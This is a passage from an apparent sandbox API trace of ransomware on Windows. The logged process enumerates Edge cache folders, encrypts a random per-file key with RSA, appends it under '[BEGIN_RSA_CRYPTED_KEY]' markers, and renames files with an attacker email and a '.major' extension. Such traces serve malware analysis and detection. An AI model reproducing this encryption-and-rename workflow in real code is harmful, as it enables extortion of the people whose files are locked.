hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0193.726] FindNextFileW (in: hFindFile=0x2f87728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0193.726] GetLastError () returned 0x0 [0193.726] SetLastError (dwErrCode=0x0) [0193.726] GetLastError () returned 0x0 [0193.726] SetLastError (dwErrCode=0x0) [0193.726] GetLastError () returned 0x0 [0193.726] SetLastError (dwErrCode=0x0) [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f871a8 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0193.726] FindNextFileW (in: hFindFile=0x2f87728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92a91af7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92a91af7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92a91af7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.726] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0193.727] GetLastError () returned 0x0 [0193.727] SetLastError (dwErrCode=0x0) [0193.727] GetLastError () returned 0x0 [0193.727] SetLastError (dwErrCode=0x0) [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.727] GetLastError () returned 0x0 [0193.727] SetLastError (dwErrCode=0x0) [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.727] FindNextFileW (in: hFindFile=0x2f87728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8abd8 | out: hHeap=0x570000) returned 1 [0193.727] GetLastError () returned 0x0 [0193.727] SetLastError (dwErrCode=0x0) [0193.727] GetLastError () returned 0x0 [0193.727] SetLastError (dwErrCode=0x0) [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.727] GetLastError () returned 0x0 [0193.727] SetLastError (dwErrCode=0x0) [0193.727] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.727] FindNextFileW (in: hFindFile=0x2f87728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.727] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.727] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat", dwFileAttributes=0x80) returned 1 [0193.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89210 | out: hHeap=0x570000) returned 1 [0193.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c [0193.728] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.728] ReadFile (in: hFile=0xa0c, lpBuffer=0x59d210, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.728] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.728] WriteFile (in: hFile=0xa0c, lpBuffer=0x59d1e0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0193.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0193.729] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.729] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.729] WriteFile (in: hFile=0xa0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.730] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.730] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GRbHC3ymNYeB4mwcBlV+RM97whtj9i4t9FdSFoTHLAkqsNr9xTZ63tWWJzokI0gs\nHJf32M35bfEbEzvm/cHjXjx4mhaTNFEKMk/6FpNDq71CFAd/OarGTwKDbsIP4iDe\nyv0Lrvu0JTNP6hKDgrDtkbZeyG42JOE1Yh06KDcXzdCFV8cnkEIagNWeuUssNmDK\ngqZLCxgXW+mfi6VbFyjyYbZ36pRIJ10NZi1DM+qd7J7cEW8GkRlzzmb7uRhE+D65\nZlA6rr6P/6KuyKDQgVDoYOAvFXa26VI5HbC38wec6lqDdi8otpa3/O9uhhMqiDDw\n5wuZGOzfKtjgKtDGyETgTA==\n", pcchString=0x2e3f9a8) returned 1 [0193.730] WriteFile (in: hFile=0xa0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.730] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.730] WriteFile (in: hFile=0xa0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.730] CloseHandle (hObject=0xa0c) returned 1 [0193.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.730] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieSiteList\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emiesitelist\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88e70 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f60 | out: hHeap=0x570000) returned 1 [0193.732] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87568 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0193.732] GetLastError () returned 0x0 [0193.732] SetLastError (dwErrCode=0x0) [0193.732] GetLastError () returned 0x0 [0193.732] SetLastError (dwErrCode=0x0) [0193.732] GetLastError () returned 0x0 [0193.732] SetLastError (dwErrCode=0x0) [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f87468 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.732] FindNextFileW (in: hFindFile=0x2f87568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x92addfb1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f871e8 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.733] FindNextFileW (in: hFindFile=0x2f87568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x92b04223, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x92b04223, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92b04223, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.733] FindNextFileW (in: hFindFile=0x2f87568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.733] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0193.733] GetLastError () returned 0x0 [0193.733] SetLastError (dwErrCode=0x0) [0193.734] GetLastError () returned 0x0 [0193.734] SetLastError (dwErrCode=0x0) [0193.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0193.734] GetLastError () returned 0x0 [0193.734] SetLastError (dwErrCode=0x0) [0193.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f60 | out: hHeap=0x570000) returned 1 [0193.734] FindNextFileW (in: hFindFile=0x2f87568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2abd399c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2abd399c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2abd399c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0193.734] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.734] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat", dwFileAttributes=0x80) returned 1 [0193.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88648 | out: hHeap=0x570000) returned 1 [0193.734] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa10 [0193.735] GetFileSizeEx (in: hFile=0xa10, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0193.735] ReadFile (in: hFile=0xa10, lpBuffer=0x59d1f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.735] SetFilePointer (in: hFile=0xa10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.735] WriteFile (in: hFile=0xa10, lpBuffer=0x59d1a0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0193.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0193.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0193.735] SetFilePointer (in: hFile=0xa10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0193.735] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.735] WriteFile (in: hFile=0xa10, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.736] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uPV/Vxy/eEDTCZLn+jyyKM5ATQJvRPrQuQG0QvpcUdyNyj4/7Qo56jk5umVVq/u2\n07PqphpZ3aiugYo03YyGDPhhPfBIm0vZJBIIpP8GYWvq0dVHcuiVzZUTg20323Xz\nTdXwr1dbwHP1Q25edltx85zSg0nb/MI1MiDGADkJ06fYhtAHo4Dwag+1s1sRcKU0\n5Tx0XPmq/rREROxPjHg8Az80/1/kl894HO88tdasA4EvVebBnlMo36rrWxwI6Fmv\ntcriAJY05rBAKQ/ZXLSctzwSs8QlV4GBn2PtLV4pGxpZnPT/NiMZuJTdexKmkCrP\n+/eY1MMniNxW/qpMAjT9QQ==\n", pcchString=0x2e3f9a8) returned 1 [0193.736] WriteFile (in: hFile=0xa10, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.736] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.736] WriteFile (in: hFile=0xa10, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.736] CloseHandle (hObject=0xa10) returned 1 [0193.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.737] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_EmieUserList\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\sharedcachecontainers\\microsoftedge_emieuserlist\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0193.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f88478 | out: hHeap=0x570000) returned 1 [0193.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0193.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0193.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2190 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657028 | out: hHeap=0x570000) returned 1 [0193.739] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe0889c9e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x2abf9bf4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f873a8 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0193.739] GetLastError () returned 0x0 [0193.739] SetLastError (dwErrCode=0x0) [0193.739] GetLastError () returned 0x0 [0193.739] SetLastError (dwErrCode=0x0) [0193.739] GetLastError () returned 0x0 [0193.739] SetLastError (dwErrCode=0x0) [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f873e8 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0193.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0193.739] FindNextFileW (in: hFindFile=0x2f873a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf4a9a8d, 